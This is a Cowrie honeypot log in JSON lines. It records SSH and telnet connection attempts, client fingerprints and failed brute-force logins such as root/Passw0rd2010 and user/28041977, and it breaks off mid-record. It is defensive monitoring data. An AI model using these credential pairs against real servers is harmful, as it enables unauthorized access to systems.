{"eventid":"cowrie.session.closed","duration":31.21055245399475,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:15:20.119438Z","src_ip":"89.41.38.54","session":"dddd891bbf8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.205.128","src_port":40164,"dst_ip":"10.17.0.5","dst_port":22,"session":"a35e1f95a347","protocol":"ssh","message":"New connection: 165.154.205.128:40164 (10.17.0.5:22) [session: a35e1f95a347]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:15:38.720751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:15:38.731329Z","src_ip":"165.154.205.128","session":"a35e1f95a347","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:15:38.956914Z","src_ip":"165.154.205.128","session":"a35e1f95a347","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kingdee","message":"login attempt [root/kingdee] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:15:39.891138Z","src_ip":"165.154.205.128","session":"a35e1f95a347","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:15:41.120272Z","src_ip":"165.154.205.128","session":"a35e1f95a347","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":46138,"dst_ip":"10.17.0.5","dst_port":22,"session":"24e3d3664115","protocol":"ssh","message":"New connection: 2.57.121.25:46138 (10.17.0.5:22) [session: 24e3d3664115]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:15:53.781004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:15:53.785824Z","src_ip":"2.57.121.25","session":"24e3d3664115","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:15:53.891409Z","src_ip":"2.57.121.25","session":"24e3d3664115","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"28041977","message":"login attempt [user/28041977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:15:54.386147Z","src_ip":"2.57.121.25","session":"24e3d3664115","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"27121992","message":"login attempt [user/27121992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:15:55.497883Z","src_ip":"2.57.121.25","session":"24e3d3664115","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"27121985","message":"login attempt [user/27121985] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:15:56.609989Z","src_ip":"2.57.121.25","session":"24e3d3664115","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"27101988","message":"login attempt [user/27101988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:15:57.719157Z","src_ip":"2.57.121.25","session":"24e3d3664115","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"27091994","message":"login attempt [user/27091994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:15:58.827841Z","src_ip":"2.57.121.25","session":"24e3d3664115","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:15:59.936138Z","src_ip":"2.57.121.25","session":"24e3d3664115","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.41.38.54","src_port":39340,"dst_ip":"10.17.0.5","dst_port":23,"session":"432f0cc1fbb7","protocol":"telnet","message":"New connection: 89.41.38.54:39340 (10.17.0.5:23) [session: 432f0cc1fbb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:16:35.171784Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.205.128","src_port":41946,"dst_ip":"10.17.0.5","dst_port":22,"session":"efd6a2f95200","protocol":"ssh","message":"New connection: 165.154.205.128:41946 (10.17.0.5:22) [session: efd6a2f95200]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:16:39.219671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:16:39.224119Z","src_ip":"165.154.205.128","session":"efd6a2f95200","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:16:39.458592Z","src_ip":"165.154.205.128","session":"efd6a2f95200","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"123321","message":"login attempt [ali/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:16:40.429282Z","src_ip":"165.154.205.128","session":"efd6a2f95200","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:16:41.667669Z","src_ip":"165.154.205.128","session":"efd6a2f95200","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.24273443222046,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:17:05.414424Z","src_ip":"89.41.38.54","session":"432f0cc1fbb7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.41.38.54","src_port":48222,"dst_ip":"10.17.0.5","dst_port":23,"session":"f710f6f14328","protocol":"telnet","message":"New connection: 89.41.38.54:48222 (10.17.0.5:23) [session: f710f6f14328]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:17:11.087365Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.57.63","src_port":44804,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae25b171266b","protocol":"telnet","message":"New connection: 199.103.57.63:44804 (159.203.135.109:23) [session: ae25b171266b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:17:18.746168Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.41.38.54","src_port":50780,"dst_ip":"10.17.0.5","dst_port":23,"session":"90c4b63bd09d","protocol":"telnet","message":"New connection: 89.41.38.54:50780 (10.17.0.5:23) [session: 90c4b63bd09d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:17:21.072566Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.205.128","src_port":37942,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c128dcef7d0","protocol":"ssh","message":"New connection: 165.154.205.128:37942 (10.17.0.5:22) [session: 5c128dcef7d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:17:37.989857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:17:37.994883Z","src_ip":"165.154.205.128","session":"5c128dcef7d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:17:38.223877Z","src_ip":"165.154.205.128","session":"5c128dcef7d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"123123","message":"login attempt [test1/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:17:39.167347Z","src_ip":"165.154.205.128","session":"5c128dcef7d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:17:40.398191Z","src_ip":"165.154.205.128","session":"5c128dcef7d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.245290756225586,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:17:42.332524Z","src_ip":"89.41.38.54","session":"f710f6f14328","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":37120,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5f1a801b362","protocol":"telnet","message":"New connection: 180.235.129.180:37120 (10.17.0.5:23) [session: b5f1a801b362]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:17:45.757304Z"}
{"eventid":"cowrie.session.closed","duration":30.294700384140015,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:17:51.367144Z","src_ip":"89.41.38.54","session":"90c4b63bd09d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.59706997871399,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:17:54.343107Z","src_ip":"199.103.57.63","session":"ae25b171266b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.112285614013672,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:17:56.869497Z","src_ip":"180.235.129.180","session":"b5f1a801b362","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.205.128","src_port":40866,"dst_ip":"10.17.0.5","dst_port":22,"session":"00390de65c1d","protocol":"ssh","message":"New connection: 165.154.205.128:40866 (10.17.0.5:22) [session: 00390de65c1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:18:40.936650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:18:40.941713Z","src_ip":"165.154.205.128","session":"00390de65c1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:18:41.171776Z","src_ip":"165.154.205.128","session":"00390de65c1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd2010","message":"login attempt [root/Passw0rd2010] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:18:42.121274Z","src_ip":"165.154.205.128","session":"00390de65c1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:18:43.354429Z","src_ip":"165.154.205.128","session":"00390de65c1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.205.128","src_port":36558,"dst_ip":"10.17.0.5","dst_port":22,"session":"024739557208","protocol":"ssh","message":"New connection: 165.154.205.128:36558 (10.17.0.5:22) [session: 024739557208]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:19:42.128498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:19:42.138325Z","src_ip":"165.154.205.128","session":"024739557208","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:19:42.364710Z","src_ip":"165.154.205.128","session":"024739557208","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Digital@2025","message":"login attempt [root/Digital@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:19:43.304755Z","src_ip":"165.154.205.128","session":"024739557208","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:19:44.539541Z","src_ip":"165.154.205.128","session":"024739557208","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.143","src_port":28314,"dst_ip":"159.203.135.109","dst_port":22,"session":"a575bfede738","protocol":"ssh","message":"New connection: 176.65.132.143:28314 (159.203.135.109:22) [session: a575bfede738]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:19:46.759571Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:19:46.763248Z","src_ip":"176.65.132.143","session":"a575bfede738","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.143","src_port":28328,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a7f5580d5e5","protocol":"ssh","message":"New connection: 176.65.132.143:28328 (159.203.135.109:22) [session: 5a7f5580d5e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:19:46.900522Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T03:19:46.905553Z","src_ip":"176.65.132.143","session":"5a7f5580d5e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 